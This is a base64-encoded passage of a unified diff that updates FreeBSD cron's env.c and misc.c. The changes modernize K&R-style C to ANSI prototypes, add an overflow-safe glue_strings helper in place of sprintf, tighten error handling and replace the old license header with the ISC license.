ciAqKikgbWFsbG9jKHNpemVvZihjaGFyICopKTsKK2Vudl9pbml0KHZvaWQpIHsKKwljaGFyICoq cCA9IChjaGFyICoqKSBtYWxsb2Moc2l6ZW9mKGNoYXIgKiopKTsKIAotCWlmIChwKQorCWlmIChw ICE9IE5VTEwpCiAJCXBbMF0gPSBOVUxMOwogCXJldHVybiAocCk7CiB9CiAKLQogdm9pZAotZW52 X2ZyZWUoZW52cCkKLQljaGFyCSoqZW52cDsKLXsKLQljaGFyCSoqcDsKK2Vudl9mcmVlKGNoYXIg KiplbnZwKSB7CisJY2hhciAqKnA7CiAKLQlpZiAoKHAgPSBlbnZwKSkKLQkgICAgZm9yICg7ICAq cDsgIHArKykKKwlmb3IgKHAgPSBlbnZwOyAqcCAhPSBOVUxMOyBwKyspCiAJCWZyZWUoKnApOwog CWZyZWUoZW52cCk7CiB9CiAKLQogY2hhciAqKgotZW52X2NvcHkoZW52cCkKLQlyZWdpc3RlciBj aGFyCSoqZW52cDsKLXsKLQlyZWdpc3RlciBpbnQJY291bnQsIGk7Ci0JcmVnaXN0ZXIgY2hhcgkq KnA7Ci0KLQlmb3IgKGNvdW50ID0gMDsgIGVudnBbY291bnRdICE9IE5VTEw7ICBjb3VudCsrKQot CQk7Ci0JcCA9IChjaGFyICoqKSBtYWxsb2MoKGNvdW50KzEpICogc2l6ZW9mKGNoYXIgKikpOyAv KiAxIGZvciB0aGUgTlVMTCAqLwotCWlmIChwID09IE5VTEwpIHsKLQkJZXJybm8gPSBFTk9NRU07 Ci0JCXJldHVybiBOVUxMOworZW52X2NvcHkoY2hhciAqKmVudnApIHsKKwlpbnQgY291bnQsIGks IHNhdmVfZXJybm87CisJY2hhciAqKnA7CisKKwlmb3IgKGNvdW50ID0gMDsgZW52cFtjb3VudF0g IT0gTlVMTDsgY291bnQrKykKKwkJTlVMTDsKKwlwID0gKGNoYXIgKiopIG1hbGxvYygoY291bnQr MSkgKiBzaXplb2YoY2hhciAqKSk7ICAvKiAxIGZvciB0aGUgTlVMTCAqLworCWlmIChwICE9IE5V TEwpIHsKKwkJZm9yIChpID0gMDsgaSA8IGNvdW50OyBpKyspCisJCQlpZiAoKHBbaV0gPSBzdHJk dXAoZW52cFtpXSkpID09IE5VTEwpIHsKKwkJCQlzYXZlX2Vycm5vID0gZXJybm87CisJCQkJd2hp bGUgKC0taSA+PSAwKQorCQkJCQlmcmVlKHBbaV0pOworCQkJCWZyZWUocCk7CisJCQkJZXJybm8g PSBzYXZlX2Vycm5vOworCQkJCXJldHVybiAoTlVMTCk7CisJCQl9CisJCXBbY291bnRdID0gTlVM TDsKIAl9Ci0JZm9yIChpID0gMDsgIGkgPCBjb3VudDsgIGkrKykKLQkJaWYgKChwW2ldID0gc3Ry ZHVwKGVudnBbaV0pKSA9PSBOVUxMKSB7Ci0JCQl3aGlsZSAoLS1pID49IDApCi0JCQkJKHZvaWQp IGZyZWUocFtpXSk7Ci0JCQlmcmVlKHApOwotCQkJZXJybm8gPSBFTk9NRU07Ci0JCQlyZXR1cm4g TlVMTDsKLQkJfQotCXBbY291bnRdID0gTlVMTDsKIAlyZXR1cm4gKHApOwogfQogCi0KIGNoYXIg KioKLWVudl9zZXQoZW52cCwgZW52c3RyKQotCWNoYXIJKiplbnZwOwotCWNoYXIJKmVudnN0cjsK LXsKLQlyZWdpc3RlciBpbnQJY291bnQsIGZvdW5kOwotCXJlZ2lzdGVyIGNoYXIJKipwOwotCWNo YXIJCSpxOworZW52X3NldChjaGFyICoqZW52cCwgY2hhciAqZW52c3RyKSB7CisJaW50IGNvdW50 LCBmb3VuZDsKKwljaGFyICoqcCwgKmVudnRtcDsKIAogCS8qCiAJICogY291bnQgdGhlIG51bWJl ciBvZiBlbGVtZW50cywgaW5jbHVkaW5nIHRoZSBudWxsIHBvaW50ZXI7CiAJICogYWxzbyBzZXQg J2ZvdW5kJyB0byAtMSBvciBpbmRleCBvZiBlbnRyeSBpZiBhbHJlYWR5IGluIGhlcmUuCiAJICov CiAJZm91bmQgPSAtMTsKLQlmb3IgKGNvdW50ID0gMDsgIGVudnBbY291bnRdICE9IE5VTEw7ICBj b3VudCsrKSB7CisJZm9yIChjb3VudCA9IDA7IGVudnBbY291bnRdICE9IE5VTEw7IGNvdW50Kysp IHsKIAkJaWYgKCFzdHJjbXBfdW50aWwoZW52cFtjb3VudF0sIGVudnN0ciwgJz0nKSkKIAkJCWZv dW5kID0gY291bnQ7CiAJfQpAQCAtMTAwLDE0ICs4NywxMCBAQAogCQkgKiBpdCBleGlzdHMgYWxy ZWFkeSwgc28ganVzdCBmcmVlIHRoZSBleGlzdGluZyBzZXR0aW5nLAogCQkgKiBzYXZlIG91ciBu ZXcgb25lIHRoZXJlLCBhbmQgcmV0dXJuIHRoZSBleGlzdGluZyBhcnJheS4KIAkJICovCi0JCXEg PSBlbnZwW2ZvdW5kXTsKLQkJaWYgKChlbnZwW2ZvdW5kXSA9IHN0cmR1cChlbnZzdHIpKSA9PSBO VUxMKSB7Ci0JCQllbnZwW2ZvdW5kXSA9IHE7Ci0JCQkvKiBYWFggZW52X2ZyZWUoZW52cCk7ICov Ci0JCQllcnJubyA9IEVOT01FTTsKLQkJCXJldHVybiBOVUxMOwotCQl9Ci0JCWZyZWUocSk7CisJ CWlmICgoZW52dG1wID0gc3RyZHVwKGVudnN0cikpID09IE5VTEwpCisJCQlyZXR1cm4gKE5VTEwp OworCQlmcmVlKGVudnBbZm91bmRdKTsKKwkJZW52cFtmb3VuZF0gPSBlbnZ0bXA7CiAJCXJldHVy biAoZW52cCk7CiAJfQogCkBAIC0xMTYsNDcgKzk5LDQyIEBACiAJICogb25lLCBzYXZlIG91ciBz dHJpbmcgb3ZlciB0aGUgb2xkIG51bGwgcG9pbnRlciwgYW5kIHJldHVybiByZXNpemVkCiAJICog YXJyYXkuCiAJICovCisJaWYgKChlbnZ0bXAgPSBzdHJkdXAoZW52c3RyKSkgPT0gTlVMTCkKKwkJ cmV0dXJuIChOVUxMKTsKIAlwID0gKGNoYXIgKiopIHJlYWxsb2MoKHZvaWQgKikgZW52cCwKLQkJ CSAgICAgICh1bnNpZ25lZCkgKChjb3VudCsxKSAqIHNpemVvZihjaGFyICopKSk7Ci0JaWYgKHAg PT0gTlVMTCkgCXsKLQkJLyogWFhYIGVudl9mcmVlKGVudnApOyAqLwotCQllcnJubyA9IEVOT01F TTsKLQkJcmV0dXJuIE5VTEw7CisJCQkgICAgICAoc2l6ZV90KSAoKGNvdW50KzEpICogc2l6ZW9m KGNoYXIgKiopKSk7CisJaWYgKHAgPT0gTlVMTCkgeworCQlmcmVlKGVudnRtcCk7CisJCXJldHVy biAoTlVMTCk7CiAJfQogCXBbY291bnRdID0gcFtjb3VudC0xXTsKLQlpZiAoKHBbY291bnQtMV0g PSBzdHJkdXAoZW52c3RyKSkgPT0gTlVMTCkgewotCQllbnZfZnJlZShwKTsKLQkJZXJybm8gPSBF Tk9NRU07Ci0JCXJldHVybiBOVUxMOwotCX0KKwlwW2NvdW50LTFdID0gZW52dG1wOwogCXJldHVy biAocCk7CiB9CiAKKy8qIFRoZSBmb2xsb3dpbmcgc3RhdGVzIGFyZSB1c2VkIGJ5IGxvYWRfZW52 KCksIHRyYXZlcnNlZCBpbiBvcmRlcjogKi8KK2VudW0gZW52X3N0YXRlIHsKKwlOQU1FSSwJCS8q IEZpcnN0IGNoYXIgb2YgTkFNRSwgbWF5IGJlIHF1b3RlICovCisJTkFNRSwJCS8qIFN1YnNlcXVl bnQgY2hhcnMgb2YgTkFNRSAqLworCUVRMSwJCS8qIEFmdGVyIGVuZCBvZiBuYW1lLCBsb29raW5n IGZvciAnPScgc2lnbiAqLworCUVRMiwJCS8qIEFmdGVyICc9Jywgc2tpcHBpbmcgd2hpdGVzcGFj ZSAqLworCVZBTFVFSSwJCS8qIEZpcnN0IGNoYXIgb2YgVkFMVUUsIG1heSBiZSBxdW90ZSAqLwor CVZBTFVFLAkJLyogU3Vic2VxdWVudCBjaGFycyBvZiBWQUxVRSAqLworCUZJTkksCQkvKiBBbGwg ZG9uZSwgc2tpcHBpbmcgdHJhaWxpbmcgd2hpdGVzcGFjZSAqLworCUVSUk9SLAkJLyogRXJyb3Ig Ki8KK307CiAKIC8qIHJldHVybglFUlIgPSBlbmQgb2YgZmlsZQogICoJCUZBTFNFID0gbm90IGFu IGVudiBzZXR0aW5nIChmaWxlIHdhcyByZXBvc2l0aW9uZWQpCiAgKgkJVFJVRSA9IHdhcyBhbiBl bnYgc2V0dGluZwogICovCiBpbnQKLWxvYWRfZW52KGVudnN0ciwgZikKLQljaGFyCSplbnZzdHI7 Ci0JRklMRQkqZjsKLXsKLQlsb25nCWZpbGVwb3M7Ci0JaW50CWZpbGVsaW5lOwotCWNoYXIJbmFt ZVtNQVhfRU5WU1RSXSwgdmFsW01BWF9FTlZTVFJdOwotCWNoYXIJcXVvdGVjaGFyLCAqYywgKnN0 cjsKLQlpbnQJc3RhdGU7Ci0KLQkvKiBUaGUgZm9sbG93aW5nIHN0YXRlcyBhcmUgdHJhdmVyc2Vk IGluIG9yZGVyOiAqLwotI2RlZmluZSBOQU1FSQkwCS8qIEZpcnN0IGNoYXIgb2YgTkFNRSwgbWF5 IGJlIHF1b3RlICovCi0jZGVmaW5lIE5BTUUJMQkvKiBTdWJzZXF1ZW50IGNoYXJzIG9mIE5BTUUg Ki8KLSNkZWZpbmUgRVExCTIJLyogQWZ0ZXIgZW5kIG9mIG5hbWUsIGxvb2tpbmcgZm9yICc9JyBz aWduICovCi0jZGVmaW5lIEVRMgkzCS8qIEFmdGVyICc9Jywgc2tpcHBpbmcgd2hpdGVzcGFjZSAq LwotI2RlZmluZSBWQUxVRUkJNAkvKiBGaXJzdCBjaGFyIG9mIFZBTFVFLCBtYXkgYmUgcXVvdGUg Ki8KLSNkZWZpbmUgVkFMVUUJNQkvKiBTdWJzZXF1ZW50IGNoYXJzIG9mIFZBTFVFICovCi0jZGVm aW5lIEZJTkkJNgkvKiBBbGwgZG9uZSwgc2tpcHBpbmcgdHJhaWxpbmcgd2hpdGVzcGFjZSAqLwot I2RlZmluZSBFUlJPUgk3CS8qIEVycm9yICovCitsb2FkX2VudihjaGFyICplbnZzdHIsIEZJTEUg KmYpIHsKKwlsb25nIGZpbGVwb3M7CisJaW50IGZpbGVsaW5lOworCWVudW0gZW52X3N0YXRlIHN0 YXRlOworCWNoYXIgbmFtZVtNQVhfRU5WU1RSXSwgdmFsW01BWF9FTlZTVFJdOworCWNoYXIgcXVv dGVjaGFyLCAqYywgKnN0cjsKIAogCWZpbGVwb3MgPSBmdGVsbChmKTsKIAlmaWxlbGluZSA9IExp bmVOdW1iZXI7CkBAIC0xNjQsMTAgKzE0MiwxMCBAQAogCWlmIChFT0YgPT0gZ2V0X3N0cmluZyhl bnZzdHIsIE1BWF9FTlZTVFIsIGYsICJcbiIpKQogCQlyZXR1cm4gKEVSUik7CiAKLQlEZWJ1ZyhE UEFSUywgKCJsb2FkX2VudiwgcmVhZCA8JXM+XG4iLCBlbnZzdHIpKTsKKwlEZWJ1ZyhEUEFSUywg KCJsb2FkX2VudiwgcmVhZCA8JXM+XG4iLCBlbnZzdHIpKQogCi0JYnplcm8gKG5hbWUsIHNpemVv ZiBuYW1lKTsKLQliemVybyAodmFsLCBzaXplb2YgdmFsKTsKKwliemVybyhuYW1lLCBzaXplb2Yg bmFtZSk7CisJYnplcm8odmFsLCBzaXplb2YgdmFsKTsKIAlzdHIgPSBuYW1lOwogCXN0YXRlID0g TkFNRUk7CiAJcXVvdGVjaGFyID0gJ1wwJzsKQEAgLTE3OCw3ICsxNTYsNyBAQAogCQljYXNlIFZB TFVFSToKIAkJCWlmICgqYyA9PSAnXCcnIHx8ICpjID09ICciJykKIAkJCQlxdW90ZWNoYXIgPSAq YysrOwotCQkJKytzdGF0ZTsKKwkJCXN0YXRlKys7CiAJCQkvKiBGQUxMVEhST1VHSCAqLwogCQlj YXNlIE5BTUU6CiAJCWNhc2UgVkFMVUU6CkBAIC0xOTQsNyArMTcyLDcgQEAKIAkJCQl9CiAJCQl9 IGVsc2UgewogCQkJCWlmIChzdGF0ZSA9PSBOQU1FKSB7Ci0JCQkJCWlmIChpc3NwYWNlICgqYykp IHsKKwkJCQkJaWYgKGlzc3BhY2UoKHVuc2lnbmVkIGNoYXIpKmMpKSB7CiAJCQkJCQljKys7CiAJ CQkJCQlzdGF0ZSsrOwogCQkJCQkJYnJlYWs7CkBAIC0yMTQsNTIgKzE5Miw1NSBAQAogCQkJCXN0 ciA9IHZhbDsKIAkJCQlxdW90ZWNoYXIgPSAnXDAnOwogCQkJfSBlbHNlIHsKLQkJCQlpZiAoIWlz c3BhY2UgKCpjKSkKKwkJCQlpZiAoIWlzc3BhY2UoKHVuc2lnbmVkIGNoYXIpKmMpKQogCQkJCQlz dGF0ZSA9IEVSUk9SOwogCQkJfQogCQkJYysrOwogCQkJYnJlYWs7CisKIAkJY2FzZSBFUTI6CiAJ CWNhc2UgRklOSToKLQkJCWlmIChpc3NwYWNlICgqYykpCisJCQlpZiAoaXNzcGFjZSgodW5zaWdu ZWQgY2hhcikqYykpCiAJCQkJYysrOwogCQkJZWxzZQogCQkJCXN0YXRlKys7CiAJCQlicmVhazsK KworCQlkZWZhdWx0OgorCQkJYWJvcnQoKTsKIAkJfQogCX0KIAlpZiAoc3RhdGUgIT0gRklOSSAm JiAhKHN0YXRlID09IFZBTFVFICYmICFxdW90ZWNoYXIpKSB7Ci0JCURlYnVnKERQQVJTLCAoImxv YWRfZW52LCBwYXJzZSBlcnJvciwgc3RhdGUgPSAlZFxuIiwgc3RhdGUpKQorCQlEZWJ1ZyhEUEFS UywgKCJsb2FkX2Vudiwgbm90IGFuIGVudiB2YXIsIHN0YXRlID0gJWRcbiIsIHN0YXRlKSkKIAkJ ZnNlZWsoZiwgZmlsZXBvcywgMCk7CiAJCVNldF9MaW5lTnVtKGZpbGVsaW5lKTsKIAkJcmV0dXJu IChGQUxTRSk7CiAJfQogCWlmIChzdGF0ZSA9PSBWQUxVRSkgewogCQkvKiBFbmQgb2YgdW5xdW90 ZWQgdmFsdWU6IHRyaW0gdHJhaWxpbmcgd2hpdGVzcGFjZSAqLwotCQljID0gdmFsICsgc3RybGVu ICh2YWwpOwotCQl3aGlsZSAoYyA+IHZhbCAmJiBpc3NwYWNlICgqKGMgLSAxKSkpCisJCWMgPSB2 YWwgKyBzdHJsZW4odmFsKTsKKwkJd2hpbGUgKGMgPiB2YWwgJiYgaXNzcGFjZSgodW5zaWduZWQg Y2hhciljWy0xXSkpCiAJCQkqKC0tYykgPSAnXDAnOwogCX0KIAogCS8qIDIgZmllbGRzIGZyb20g cGFyc2VyOyBsb29rcyBsaWtlIGFuIGVudiBzZXR0aW5nICovCiAKLQlpZiAoc3RybGVuKG5hbWUp ICsgMSArIHN0cmxlbih2YWwpID49IE1BWF9FTlZTVFItMSkKKwkvKgorCSAqIFRoaXMgY2FuJ3Qg b3ZlcmZsb3cgYmVjYXVzZSBnZXRfc3RyaW5nKCkgbGltaXRlZCB0aGUgc2l6ZSBvZiB0aGUKKwkg KiBuYW1lIGFuZCB2YWwgZmllbGRzLiAgU3RpbGwsIGl0IGRvZXNuJ3QgaHVydCB0byBiZSBjYXJl ZnVsLi4uCisJICovCisJaWYgKCFnbHVlX3N0cmluZ3MoZW52c3RyLCBNQVhfRU5WU1RSLCBuYW1l LCB2YWwsICc9JykpCiAJCXJldHVybiAoRkFMU0UpOwotCSh2b2lkKSBzcHJpbnRmKGVudnN0ciwg IiVzPSVzIiwgbmFtZSwgdmFsKTsKIAlEZWJ1ZyhEUEFSUywgKCJsb2FkX2VudiwgPCVzPiA8JXM+ IC0+IDwlcz5cbiIsIG5hbWUsIHZhbCwgZW52c3RyKSkKIAlyZXR1cm4gKFRSVUUpOwogfQogCi0K IGNoYXIgKgotZW52X2dldChuYW1lLCBlbnZwKQotCXJlZ2lzdGVyIGNoYXIJKm5hbWU7Ci0JcmVn aXN0ZXIgY2hhcgkqKmVudnA7Ci17Ci0JcmVnaXN0ZXIgaW50CWxlbiA9IHN0cmxlbihuYW1lKTsK LQlyZWdpc3RlciBjaGFyCSpwLCAqcTsKK2Vudl9nZXQoY2hhciAqbmFtZSwgY2hhciAqKmVudnAp IHsKKwlpbnQgbGVuID0gc3RybGVuKG5hbWUpOworCWNoYXIgKnAsICpxOwogCi0Jd2hpbGUgKChw ID0gKmVudnArKykpIHsKKwl3aGlsZSAoKHAgPSAqZW52cCsrKSAhPSBOVUxMKSB7CiAJCWlmICgh KHEgPSBzdHJjaHIocCwgJz0nKSkpCiAJCQljb250aW51ZTsKIAkJaWYgKChxIC0gcCkgPT0gbGVu ICYmICFzdHJuY21wKHAsIG5hbWUsIGxlbikpCmRpZmYgLXJ1TiAvdXNyL3NyYy91c3Iuc2Jpbi9j cm9uL2xpYi9taXNjLmMgZnJlZWJzZF9jcm9uL2xpYi9taXNjLmMKLS0tIC91c3Ivc3JjL3Vzci5z YmluL2Nyb24vbGliL21pc2MuYwkyMDE0LTAxLTE2IDIxOjQzOjUwLjAwMDAwMDAwMCArMDEwMAor KysgZnJlZWJzZF9jcm9uL2xpYi9taXNjLmMJMjAxNC0wNi0xMSAxNjo0Mjo1NS4yNzU0NDQzNzkg KzAyMDAKQEAgLTEsNjMgKzEsOTAgQEAKIC8qIENvcHlyaWdodCAxOTg4LDE5OTAsMTk5MywxOTk0 IGJ5IFBhdWwgVml4aWUKICAqIEFsbCByaWdodHMgcmVzZXJ2ZWQKKyAqLworCisvKgorICogQ29w eXJpZ2h0IChjKSAyMDA0IGJ5IEludGVybmV0IFN5c3RlbXMgQ29uc29ydGl1bSwgSW5jLiAoIklT QyIpCisgKiBDb3B5cmlnaHQgKGMpIDE5OTcsMjAwMCBieSBJbnRlcm5ldCBTb2Z0d2FyZSBDb25z b3J0aXVtLCBJbmMuCiAgKgotICogRGlzdHJpYnV0ZSBmcmVlbHksIGV4Y2VwdDogZG9uJ3QgcmVt b3ZlIG15IG5hbWUgZnJvbSB0aGUgc291cmNlIG9yCi0gKiBkb2N1bWVudGF0aW9uIChkb24ndCB0 YWtlIGNyZWRpdCBmb3IgbXkgd29yayksIG1hcmsgeW91ciBjaGFuZ2VzIChkb24ndAotICogZ2V0 IG1lIGJsYW1lZCBmb3IgeW91ciBwb3NzaWJsZSBidWdzKSwgZG9uJ3QgYWx0ZXIgb3IgcmVtb3Zl IHRoaXMKLSAqIG5vdGljZS4gIE1heSBiZSBzb2xkIGlmIGJ1aWxkYWJsZSBzb3VyY2UgaXMgcHJv dmlkZWQgdG8gYnV5ZXIuICBObwotICogd2FycmFudGVlIG9mIGFueSBraW5kLCBleHByZXNzIG9y IGltcGxpZWQsIGlzIGluY2x1ZGVkIHdpdGggdGhpcwotICogc29mdHdhcmU7IHVzZSBhdCB5b3Vy IG93biByaXNrLCByZXNwb25zaWJpbGl0eSBmb3IgZGFtYWdlcyAoaWYgYW55KSB0bwotICogYW55 b25lIHJlc3VsdGluZyBmcm9tIHRoZSB1c2Ugb2YgdGhpcyBzb2Z0d2FyZSByZXN0cyBlbnRpcmVs eSB3aXRoIHRoZQotICogdXNlci4KKyAqIFBlcm1pc3Npb24gdG8gdXNlLCBjb3B5LCBtb2RpZnks IGFuZCBkaXN0cmlidXRlIHRoaXMgc29mdHdhcmUgZm9yIGFueQorICogcHVycG9zZSB3aXRoIG9y IHdpdGhvdXQgZmVlIGlzIGhlcmVieSBncmFudGVkLCBwcm92aWRlZCB0aGF0IHRoZSBhYm92ZQor ICogY29weXJpZ2h0IG5vdGljZSBhbmQgdGhpcyBwZXJtaXNzaW9uIG5vdGljZSBhcHBlYXIgaW4g YWxsIGNvcGllcy4KICAqCi0gKiBTZW5kIGJ1ZyByZXBvcnRzLCBidWcgZml4ZXMsIGVuaGFuY2Vt ZW50cywgcmVxdWVzdHMsIGZsYW1lcywgZXRjLiwgYW5kCi0gKiBJJ2xsIHRyeSB0byBrZWVwIGEg dmVyc2lvbiB1cCB0byBkYXRlLiAgSSBjYW4gYmUgcmVhY2hlZCBhcyBmb2xsb3dzOgotICogUGF1 bCBWaXhpZSAgICAgICAgICA8cGF1bEB2aXguY29tPiAgICAgICAgICB1dW5ldCFkZWN3cmwhdml4 aWUhcGF1bAorICogVEhFIFNPRlRXQVJFIElTIFBST1ZJREVEICJBUyBJUyIgQU5EIElTQyBESVND TEFJTVMgQUxMIFdBUlJBTlRJRVMKKyAqIFdJVEggUkVHQVJEIFRPIFRISVMgU09GVFdBUkUgSU5D TFVESU5HIEFMTCBJTVBMSUVEIFdBUlJBTlRJRVMgT0YKKyAqIE1FUkNIQU5UQUJJTElUWSBBTkQg RklUTkVTUy4gIElOIE5PIEVWRU5UIFNIQUxMIElTQyBCRSBMSUFCTEUgRk9SCisgKiBBTlkgU1BF Q0lBTCwgRElSRUNULCBJTkRJUkVDVCwgT1IgQ09OU0VRVUVOVElBTCBEQU1BR0VTIE9SIEFOWSBE QU1BR0VTCisgKiBXSEFUU09FVkVSIFJFU1VMVElORyBGUk9NIExPU1MgT0YgVVNFLCBEQVRBIE9S IFBST0ZJVFMsIFdIRVRIRVIgSU4gQU4KKyAqIEFDVElPTiBPRiBDT05UUkFDVCwgTkVHTElHRU5D RSBPUiBPVEhFUiBUT1JUSU9VUyBBQ1RJT04sIEFSSVNJTkcgT1VUCisgKiBPRiBPUiBJTiBDT05O RUNUSU9OIFdJVEggVEhFIFVTRSBPUiBQRVJGT1JNQU5DRSBPRiBUSElTIFNPRlRXQVJFLgogICov CiAKLSNpZiAhZGVmaW5lZChsaW50KSAmJiAhZGVmaW5lZChMSU5UKQotc3RhdGljIGNvbnN0IGNo YXIgcmNzaWRbXSA9Ci0gICIkRnJlZUJTRDogcmVsZWFzZS8xMC4wLjAvdXNyLnNiaW4vY3Jvbi9s aWIvbWlzYy5jIDI0MTEyNSAyMDEyLTEwLTAyIDA5OjIzOjE2WiBwbHVrbmV0ICQiOwotI2VuZGlm CisvLyNpZiAhZGVmaW5lZChsaW50KSAmJiAhZGVmaW5lZChMSU5UKQorLy9zdGF0aWMgY2hhciBy Y3NpZFtdID0gIiRJZDogbWlzYy5jLHYgMS4xNiAyMDA0LzAxLzIzIDE4OjU2OjQzIHZpeGllIEV4 cCAkIjsKKy8vI2VuZGlmCiAKIC8qIHZpeCAyNmphbjg3IFtSQ1MgaGFzIHRoZSByZXN0IG9mIHRo ZSBsb2ddCiAgKiB2aXggMzBkZWM4NiBbd3JpdHRlbl0KICAqLwogCi0KICNpbmNsdWRlICJjcm9u LmgiCi0jaWYgU1lTX1RJTUVfSAotIyBpbmNsdWRlIDxzeXMvdGltZS5oPgotI2Vsc2UKLSMgaW5j bHVkZSA8dGltZS5oPgotI2VuZGlmCi0jaW5jbHVkZSA8c3lzL2ZpbGUuaD4KLSNpbmNsdWRlIDxz eXMvc3RhdC5oPgotI2luY2x1ZGUgPGVyci5oPgotI2luY2x1ZGUgPGVycm5vLmg+Ci0jaW5jbHVk ZSA8c3RyaW5nLmg+Ci0jaW5jbHVkZSA8ZmNudGwuaD4KLSNpZiBkZWZpbmVkKFNZU0xPRykKLSMg aW5jbHVkZSA8c3lzbG9nLmg+Ci0jZW5kaWYKKyNpbmNsdWRlIDxsaW1pdHMuaD4KIAorI2lmIGRl ZmluZWQoU1lTTE9HKSAmJiBkZWZpbmVkKExPR19GSUxFKQorIyB1bmRlZiBMT0dfRklMRQorI2Vu ZGlmCiAKICNpZiBkZWZpbmVkKExPR19EQUVNT04pICYmICFkZWZpbmVkKExPR19DUk9OKQotI2Rl ZmluZSBMT0dfQ1JPTiBMT0dfREFFTU9OCisjIGRlZmluZSBMT0dfQ1JPTiBMT0dfREFFTU9OCiAj ZW5kaWYKIAorI2lmbmRlZiBGQUNJTElUWQorI2RlZmluZSBGQUNJTElUWSBMT0dfQ1JPTgorI2Vu ZGlmCiAKLXN0YXRpYyBpbnQJCUxvZ0ZEID0gRVJSOworc3RhdGljIGludCBMb2dGRCA9IEVSUjsK IAorI2lmIGRlZmluZWQoU1lTTE9HKQorc3RhdGljIGludCBzeXNsb2dfb3BlbiA9IEZBTFNFOwor I2VuZGlmCiAKKy8qCisgKiBnbHVlX3N0cmluZ3MgaXMgdGhlIG92ZXJmbG93LXNhZmUgZXF1aXZh bGVudCBvZgorICoJCXNwcmludGYoYnVmZmVyLCAiJXMlYyVzIiwgYSwgc2VwYXJhdG9yLCBiKTsK KyAqCisgKiByZXR1cm5zIDEgb24gc3VjY2VzcywgMCBvbiBmYWlsdXJlLiAgJ2J1ZmZlcicgTVVT VCBOT1QgYmUgdXNlZCBpZgorICogZ2x1ZV9zdHJpbmdzIGZhaWxzLgorICovCiBpbnQKLXN0cmNt cF91bnRpbChsZWZ0LCByaWdodCwgdW50aWwpCi0JY2hhcgkqbGVmdDsKLQljaGFyCSpyaWdodDsK LQlpbnQJdW50aWw7CitnbHVlX3N0cmluZ3MoY2hhciAqYnVmZmVyLCBzaXplX3QgYnVmZmVyX3Np emUsIGNvbnN0IGNoYXIgKmEsIGNvbnN0IGNoYXIgKmIsCisJICAgICBjaGFyIHNlcGFyYXRvcikK IHsKLQlyZWdpc3RlciBpbnQJZGlmZjsKKwljaGFyICpidWY7CisJY2hhciAqYnVmX2VuZDsKKwor CWlmIChidWZmZXJfc2l6ZSA8PSAwKQorCQlyZXR1cm4gKDApOworCWJ1Zl9lbmQgPSBidWZmZXIg KyBidWZmZXJfc2l6ZTsKKwlidWYgPSBidWZmZXI7CisKKwlmb3IgKCAvKiBub3RoaW5nICovOyBi dWYgPCBidWZfZW5kICYmICphICE9ICdcMCc7IGJ1ZisrLCBhKysgKQorCQkqYnVmID0gKmE7CisJ aWYgKGJ1ZiA9PSBidWZfZW5kKQorCQlyZXR1cm4gKDApOworCWlmIChzZXBhcmF0b3IgIT0gJy8n IHx8IGJ1ZiA9PSBidWZmZXIgfHwgYnVmWy0xXSAhPSAnLycpCisJCSpidWYrKyA9IHNlcGFyYXRv cjsKKwlpZiAoYnVmID09IGJ1Zl9lbmQpCisJCXJldHVybiAoMCk7CisJZm9yICggLyogbm90aGlu ZyAqLzsgYnVmIDwgYnVmX2VuZCAmJiAqYiAhPSAnXDAnOyBidWYrKywgYisrICkKKwkJKmJ1ZiA9 ICpiOworCWlmIChidWYgPT0gYnVmX2VuZCkKKwkJcmV0dXJuICgwKTsKKwkqYnVmID0gJ1wwJzsK KwlyZXR1cm4gKDEpOworfQogCitpbnQKK3N0cmNtcF91bnRpbChjb25zdCBjaGFyICpsZWZ0LCBj b25zdCBjaGFyICpyaWdodCwgY2hhciB1bnRpbCkgewogCXdoaWxlICgqbGVmdCAmJiAqbGVmdCAh PSB1bnRpbCAmJiAqbGVmdCA9PSAqcmlnaHQpIHsKIAkJbGVmdCsrOwogCQlyaWdodCsrOwpAQCAt NjUsMjEgKzkyLDE1IEBACiAKIAlpZiAoKCpsZWZ0PT0nXDAnIHx8ICpsZWZ0ID09IHVudGlsKSAm JgogCSAgICAoKnJpZ2h0PT0nXDAnIHx8ICpyaWdodCA9PSB1bnRpbCkpIHsKLQkJZGlmZiA9IDA7 Ci0JfSBlbHNlIHsKLQkJZGlmZiA9ICpsZWZ0IC0gKnJpZ2h0OworCQlyZXR1cm4gKDApOwogCX0K LQotCXJldHVybiBkaWZmOworCXJldHVybiAoKmxlZnQgLSAqcmlnaHQpOwogfQogCi0KIC8qIHN0 cmR0YihzKSAtIGRlbGV0ZSB0cmFpbGluZyBibGFua3MgaW4gc3RyaW5nICdzJyBhbmQgcmV0dXJu IG5ldyBsZW5ndGgKICAqLwogaW50Ci1zdHJkdGIocykKLQljaGFyCSpzOwoteworc3RyZHRiKGNo YXIgKnMpIHsKIAljaGFyCSp4ID0gczsKIAogCS8qIHNjYW4gZm9yd2FyZCB0byB0aGUgbnVsbApA QCAtOTEsNyArMTEyLDcgQEAKIAkgKiBvciB0aGUgbGFzdCBub24tYmxhbmsgaW4gdGhlIHN0cmlu Zywgd2hpY2hldmVyIGNvbWVzIGZpcnN0LgogCSAqLwogCWRvCXt4LS07fQotCXdoaWxlICh4ID49 IHMgJiYgaXNzcGFjZSgqeCkpOworCXdoaWxlICh4ID49IHMgJiYgaXNzcGFjZSgodW5zaWduZWQg Y2hhcikqeCkpOwogCiAJLyogb25lIGNoYXJhY3RlciBiZXlvbmQgd2hlcmUgd2Ugc3RvcHBlZCBh Ym92ZSBpcyB3aGVyZSB0aGUgbnVsbAogCSAqIGdvZXMuCkBAIC0xMDEsMTQgKzEyMiwxMSBAQAog CS8qIHRoZSBkaWZmZXJlbmNlIGJldHdlZW4gdGhlIHBvc2l0aW9uIG9mIHRoZSBudWxsIGNoYXJh Y3RlciBhbmQKIAkgKiB0aGUgcG9zaXRpb24gb2YgdGhlIGZpcnN0IGNoYXJhY3RlciBvZiB0aGUg c3RyaW5nIGlzIHRoZSBsZW5ndGguCiAJICovCi0JcmV0dXJuIHggLSBzOworCXJldHVybiAoeCAt IHMpOwogfQogCi0KIGludAotc2V0X2RlYnVnX2ZsYWdzKGZsYWdzKQotCWNoYXIJKmZsYWdzOwot eworc2V0X2RlYnVnX2ZsYWdzKGNvbnN0IGNoYXIgKmZsYWdzKSB7CiAJLyogZGVidWcgZmxhZ3Mg YXJlIG9mIHRoZSBmb3JtICAgIGZsYWdbLGZsYWcgLi4uXQogCSAqCiAJICogaWYgYW4gZXJyb3Ig b2NjdXJzLCBwcmludCBhIG1lc3NhZ2UgdG8gc3Rkb3V0IGFuZCByZXR1cm4gRkFMU0UuCkBAIC0x 